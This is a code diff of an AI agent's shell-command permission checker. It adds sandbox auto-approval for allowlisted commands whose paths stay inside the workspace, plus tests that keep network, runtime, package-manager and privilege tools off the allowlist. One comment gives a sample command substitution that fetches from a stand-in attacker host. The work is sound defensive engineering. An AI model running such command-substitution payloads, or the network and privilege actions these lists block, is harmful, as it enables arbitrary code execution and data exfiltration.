@@ -589,13 +632,80 @@ export async function check(
589
632
  policyContext,
590
633
  );
591
634
 
635
+ // Resolve sandboxAutoApprove for bash commands — all pipeline segments must be
636
+ // on the allowlist, and the command must not contain opaque constructs or
637
+ // dangerous patterns (e.g. `ls $(curl evil.com)` has an allowlisted program
638
+ // but a command substitution that could execute arbitrary code).
639
+ //
640
+ // For non-containerized environments, path resolution is applied: each
641
+ // segment's arguments are parsed via the command's argSchema, and all
642
+ // path arguments must resolve within the workspace root. Containerized
643
+ // environments skip path checks since the entire filesystem is the workspace.
644
+ let hasSandboxAutoApprove = false;
645
+ if (toolName === "bash" && shellParsed) {
646
+ const workspaceRoot = getWorkspaceDir();
647
+ const isContainerized = getIsContainerized();
648
+
649
+ hasSandboxAutoApprove =
650
+ shellParsed.segments.length > 0 &&
651
+ !shellParsed.hasOpaqueConstructs &&
652
+ shellParsed.dangerousPatterns.length === 0 &&
653
+ shellParsed.segments.every((seg) => {
654
+ const name = seg.program.split("/").pop() ?? seg.program;
655
+ const spec: CommandRiskSpec | undefined = Object.hasOwn(
656
+ DEFAULT_COMMAND_REGISTRY,
657
+ name,
658
+ )
659
+ ? DEFAULT_COMMAND_REGISTRY[
660
+ name as keyof typeof DEFAULT_COMMAND_REGISTRY
661
+ ]
662
+ : undefined;
663
+ if (!spec?.sandboxAutoApprove) return false;
664
+
665
+ // Containerized: entire fs is workspace, skip path checks
666
+ if (isContainerized) return true;
667
+
668
+ // Non-containerized: parse args and check all path args against workspace
669
+ const schema = spec.argSchema ?? {};
670
+ const parsed = parseArgs(seg.args, schema);
671
+
672
+ // If no path args, auto-approve (operating on cwd/stdin which is workspace)
673
+ if (parsed.pathArgs.length === 0) return true;
674
+
675
+ // All path args must resolve within workspace
676
+ return parsed.pathArgs.every((p) => {
677
+ // Handle ~ expansion: ~/ is current user's home, ~user/ is another
678
+ // user's home. Both resolve outside the workspace in practice.
679
+ // Treat any tilde-prefixed path as outside workspace unless it
680
+ // happens to resolve within it after expansion.
681
+ if (p === "~" || p.startsWith("~/")) {
682
+ const expanded =
683
+ p === "~" ? homedir() : join(homedir(), p.slice(2));
684
+ return isPathWithinWorkspaceRoot(expanded, workspaceRoot);
685
+ }
686
+ if (p.startsWith("~")) {
687
+ // ~root/, ~user/, etc. — resolve outside workspace
688
+ return false;
689
+ }
690
+ const resolved = p.startsWith("/") ? p : resolve(workingDir, p);
691
+ return isPathWithinWorkspaceRoot(resolved, workspaceRoot);
692
+ });
693
+ });
694
+ }
695
+
592
696
  // Build approval context from local variables
593
697
  const tool = getTool(toolName);
594
698
  const config = getConfig();
595
- const resolvedThreshold = resolveThreshold(
596
- config.permissions.autoApproveUpTo,
699
+ const gatewayThreshold = await getAutoApproveThreshold(
700
+ policyContext?.conversationId,
597
701
  policyContext?.executionContext,
598
702
  );
703
+ const resolvedThreshold =
704
+ gatewayThreshold ??
705
+ resolveThreshold(
706
+ config.permissions.autoApproveUpTo,
707
+ policyContext?.executionContext,
708
+ );
599
709
  const approvalContext: ApprovalContext = {
600
710
  riskLevel: risk,
601
711
  toolName,
@@ -607,10 +717,16 @@ export async function check(
607
717
  ? isWorkspaceScopedInvocation(toolName, input, workingDir)
608
718
  : false,
609
719
  toolOrigin:
610
- tool?.origin === "skill" ? "skill" : tool ? "builtin" : undefined,
720
+ tool?.origin === "skill" || tool?.origin === "plugin"
721
+ ? "skill"
722
+ : tool
723
+ ? "builtin"
724
+ : undefined,
611
725
  isSkillBundled: tool?.ownerSkillBundled ?? false,
612
726
  hasManifestOverride: !!manifestOverride,
613
727
  autoApproveUpTo: resolvedThreshold,
728
+ isGatewayThreshold: gatewayThreshold != null,
729
+ hasSandboxAutoApprove,
614
730
  };
615
731
 
616
732
  // Delegate the allow/prompt/deny decision to the approval policy
@@ -675,10 +791,6 @@ function shellAllowlistStrategy(
675
791
  input: Record<string, unknown>,
676
792
  ): Promise<AllowlistOption[]> {
677
793
  const command = ((input.command as string) ?? "").trim();
678
- // TODO(phase-3): Wire RiskAssessment.scopeOptions into permission prompts
679
- // and retire buildShellAllowlistOptions + buildShellCommandCandidates from
680
- // shell-identity.ts. The classifier's generateScopeOptions produces the
681
- // canonical scope ladder; this legacy path should not diverge further.
682
794
  return buildShellAllowlistOptions(command);
683
795
  }
684
796
 
@@ -873,22 +985,26 @@ export async function generateAllowlistOptions(
873
985
  ): Promise<AllowlistOption[]> {
874
986
  signal?.throwIfAborted();
875
987
 
876
- // Check if a classifier already produced allowlist options during
877
- // classifyRisk(). If so, return those directly — avoids duplicate
878
- // computation and keeps scope option generation unified with risk
879
- // classification.
880
- const aKey = assessmentCacheKey(toolName, input);
881
- const cachedAssessment = assessmentCache.get(aKey);
882
- if (
883
- cachedAssessment?.allowlistOptions &&
884
- cachedAssessment.allowlistOptions.length > 0
885
- ) {
886
- return cachedAssessment.allowlistOptions;
988
+ // When permission-controls-v3 is enabled, use classifier-produced options
989
+ // from the assessment cache (populated by BashRiskClassifier.classify()).
990
+ // When the flag is off, fall through to the legacy per-tool strategies
991
+ // (e.g. shellAllowlistStrategy for bash/host_bash) to avoid changing the
992
+ // allowlist pattern format for users who haven't opted in.
993
+ const config = getConfig();
994
+ if (isAssistantFeatureFlagEnabled("permission-controls-v3", config)) {
995
+ const aKey = assessmentCacheKey(toolName, input);
996
+ const cachedAssessment = assessmentCache.get(aKey);
997
+ if (
998
+ cachedAssessment?.allowlistOptions &&
999
+ cachedAssessment.allowlistOptions.length > 0
1000
+ ) {
1001
+ return cachedAssessment.allowlistOptions;
1002
+ }
887
1003
  }
888
1004
 
889
- // Fall back to the per-tool strategy function for tools that don't have
890
- // classifier-produced options (e.g. bash tools use the shell identity
891
- // strategy, or when the cache was missed).
1005
+ // Fall back to the per-tool strategy function. For bash/host_bash when the
1006
+ // flag is off, this uses shellAllowlistStrategy (action: key patterns).
1007
+ // For other tools, this is the only path.
892
1008
  if (Object.hasOwn(ALLOWLIST_STRATEGIES, toolName)) {
893
1009
  return ALLOWLIST_STRATEGIES[toolName](toolName, input);
894
1010
  }
@@ -896,6 +1012,18 @@ export async function generateAllowlistOptions(
896
1012
  return [{ label: "*", description: "Everything", pattern: "*" }];
897
1013
  }
898
1014
 
1015
+ /**
1016
+ * Retrieve a cached RiskAssessment for a given tool invocation.
1017
+ * Returns `undefined` when no classifier-backed assessment exists
1018
+ * (e.g. MCP tools, unknown tools that fall through to registry defaults).
1019
+ */
1020
+ export function getCachedAssessment(
1021
+ toolName: string,
1022
+ input: Record<string, unknown>,
1023
+ ): RiskAssessment | undefined {
1024
+ return assessmentCache.get(assessmentCacheKey(toolName, input));
1025
+ }
1026
+
899
1027
  // Directory-based scope only applies to filesystem and shell tools.
900
1028
  // All other tools auto-use "everywhere" (the client handles this).
901
1029
  export const SCOPE_AWARE_TOOLS = new Set([
@@ -532,4 +532,243 @@ describe("command-registry", () => {
532
532
  expect(trustSubs).toContain("clear");
533
533
  });
534
534
  });
535
+
536
+ // ── sandboxAutoApprove allowlist guard ───────────────────────────────────
537
+ describe("sandboxAutoApprove allowlist", () => {
538
+ /** Collect all top-level commands tagged with sandboxAutoApprove: true. */
539
+ function getSandboxAutoApproveCommands(): string[] {
540
+ return Object.entries(DEFAULT_COMMAND_REGISTRY)
541
+ .filter(
542
+ ([, spec]) => (spec as CommandRiskSpec).sandboxAutoApprove === true,
543
+ )
544
+ .map(([name]) => name)
545
+ .sort();
546
+ }
547
+
548
+ /**
549
+ * The exact set of commands that should be tagged with sandboxAutoApprove.
550
+ * This acts as a guard — any addition or removal must be intentional and
551
+ * update this list.
552
+ */
553
+ const EXPECTED_SANDBOX_AUTO_APPROVE = [
554
+ // Core filesystem (read-only)
555
+ "ls",
556
+ "cat",
557
+ "head",
558
+ "tail",
559
+ "less",
560
+ "more",
561
+ "wc",
562
+ "file",
563
+ "stat",
564
+ "du",
565
+ "df",
566
+ "diff",
567
+ "tree",
568
+ "pwd",
569
+ "realpath",
570
+ "basename",
571
+ "dirname",
572
+ "readlink",
573
+ // Search / filter / text processing
574
+ "grep",
575
+ "rg",
576
+ "ag",
577
+ "ack",
578
+ "sort",
579
+ "uniq",
580
+ "cut",
581
+ "tr",
582
+ "sed",
583
+ // awk excluded: system() can execute arbitrary commands
584
+ // System info / text output
585
+ "echo",
586
+ "printf",
587
+ // Data processing
588
+ "jq",
589
+ "yq",
590
+ // find excluded: -exec/-execdir/-delete can execute arbitrary commands or delete files
591
+ "fd",
592
+ // Write commands
593
+ "cp",
594
+ "mv",
595
+ "mkdir",
596
+ "touch",
597
+ "ln",
598
+ "tee",
599
+ // Delete commands
600
+ "rm",
601
+ "rmdir",
602
+ // Permissions / ownership
603
+ "chgrp",
604
+ "chmod",
605
+ "chown",
606
+ // Archives
607
+ "tar",
608
+ "zip",
609
+ "unzip",
610
+ "gzip",
611
+ "gunzip",
612
+ ].sort();
613
+
614
+ test("sandboxAutoApprove commands match the expected allowlist exactly", () => {
615
+ const actual = getSandboxAutoApproveCommands();
616
+ expect(actual).toEqual(EXPECTED_SANDBOX_AUTO_APPROVE);
617
+ });
618
+
619
+ test("network commands are NOT tagged with sandboxAutoApprove", () => {
620
+ const networkCommands = [
621
+ "curl",
622
+ "wget",
623
+ "http",
624
+ "ssh",
625
+ "scp",
626
+ "rsync",
627
+ "ping",
628
+ "dig",
629
+ "nslookup",
630
+ ];
631
+ for (const cmd of networkCommands) {
632
+ const spec = (
633
+ DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
634
+ )[cmd];
635
+ expect(spec).toBeDefined();
636
+ expect(spec.sandboxAutoApprove).not.toBe(true);
637
+ }
638
+ });
639
+
640
+ test("runtime/language commands are NOT tagged with sandboxAutoApprove", () => {
641
+ const runtimeCommands = [
642
+ "node",
643
+ "deno",
644
+ "python",
645
+ "python3",
646
+ "ruby",
647
+ "bash",
648
+ "sh",
649
+ "zsh",
650
+ ];
651
+ for (const cmd of runtimeCommands) {
652
+ const spec = (
653
+ DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
654
+ )[cmd];
655
+ expect(spec).toBeDefined();
656
+ expect(spec.sandboxAutoApprove).not.toBe(true);
657
+ }
658
+ });
659
+
660
+ test("package manager commands are NOT tagged with sandboxAutoApprove", () => {
661
+ const packageCommands = [
662
+ "npm",
663
+ "npx",
664
+ "yarn",
665
+ "pnpm",
666
+ "bun",
667
+ "pip",
668
+ "pip3",
669
+ "brew",
670
+ "cargo",
671
+ "apt-get",
672
+ "apt",
673
+ "dnf",
674
+ "yum",
675
+ "pacman",
676
+ "apk",
677
+ ];
678
+ for (const cmd of packageCommands) {
679
+ const spec = (
680
+ DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
681
+ )[cmd];
682
+ expect(spec).toBeDefined();
683
+ expect(spec.sandboxAutoApprove).not.toBe(true);
684
+ }
685
+ });
686
+
687
+ test("every sandboxAutoApprove command must have argSchema defined", () => {
688
+ const missing: string[] = [];
689
+ for (const [name, spec] of Object.entries(DEFAULT_COMMAND_REGISTRY)) {
690
+ if (
691
+ (spec as CommandRiskSpec).sandboxAutoApprove === true &&
692
+ (spec as CommandRiskSpec).argSchema === undefined
693
+ ) {
694
+ missing.push(name);
695
+ }
696
+ }
697
+ expect(missing).toEqual([]);
698
+ });
699
+
700
+ test("xargs is NOT tagged with sandboxAutoApprove", () => {
701
+ const spec = (DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>)
702
+ .xargs;
703
+ expect(spec).toBeDefined();
704
+ expect(spec.sandboxAutoApprove).not.toBe(true);
705
+ });
706
+
707
+ test("commands with value-consuming argRule flags have matching argSchema.valueFlags", () => {
708
+ // When an argRule has both `flags` and `valuePattern`, those flags consume
709
+ // the next token as a value — the valuePattern matches against that value.
710
+ // The command's argSchema.valueFlags must include those flags so that
711
+ // parseArgs() correctly pairs flags with their values.
712
+ const errors: string[] = [];
713
+
714
+ function checkSpec(spec: CommandRiskSpec, path: string): void {
715
+ if (spec.argRules) {
716
+ for (const rule of spec.argRules) {
717
+ if (rule.flags && rule.valuePattern) {
718
+ // This rule's flags consume a value — check argSchema coverage.
719
+ const schemaValueFlags = new Set(
720
+ spec.argSchema?.valueFlags ?? [],
721
+ );
722
+ for (const flag of rule.flags) {
723
+ if (!schemaValueFlags.has(flag)) {
724
+ errors.push(
725
+ `${path}/${rule.id}: flag "${flag}" consumes a value (has valuePattern) ` +
726
+ `but is not listed in argSchema.valueFlags`,
727
+ );
728
+ }
729
+ }
730
+ }
731
+ }
732
+ }
733
+ if (spec.subcommands) {
734
+ for (const [sub, subSpec] of Object.entries(spec.subcommands)) {
735
+ checkSpec(subSpec, `${path} ${sub}`);
736
+ }
737
+ }
738
+ }
739
+
740
+ for (const [name, spec] of Object.entries(DEFAULT_COMMAND_REGISTRY)) {
741
+ checkSpec(spec as CommandRiskSpec, name);
742
+ }
743
+ expect(errors).toEqual([]);
744
+ });
745
+
746
+ test("system/privilege commands are NOT tagged with sandboxAutoApprove", () => {
747
+ const systemCommands = [
748
+ "sudo",
749
+ "su",
750
+ "doas",
751
+ "mount",
752
+ "umount",
753
+ "systemctl",
754
+ "service",
755
+ "launchctl",
756
+ "reboot",
757
+ "shutdown",
758
+ "kill",
759
+ "killall",
760
+ "pkill",
761
+ "dd",
762
+ "mkfs",
763
+ "fdisk",
764
+ ];
765
+ for (const cmd of systemCommands) {
766
+ const spec = (
767
+ DEFAULT_COMMAND_REGISTRY as Record<string, CommandRiskSpec>
768
+ )[cmd];
769
+ expect(spec).toBeDefined();
770
+ expect(spec.sandboxAutoApprove).not.toBe(true);
771
+ }
772
+ });
773
+ });
535
774
  });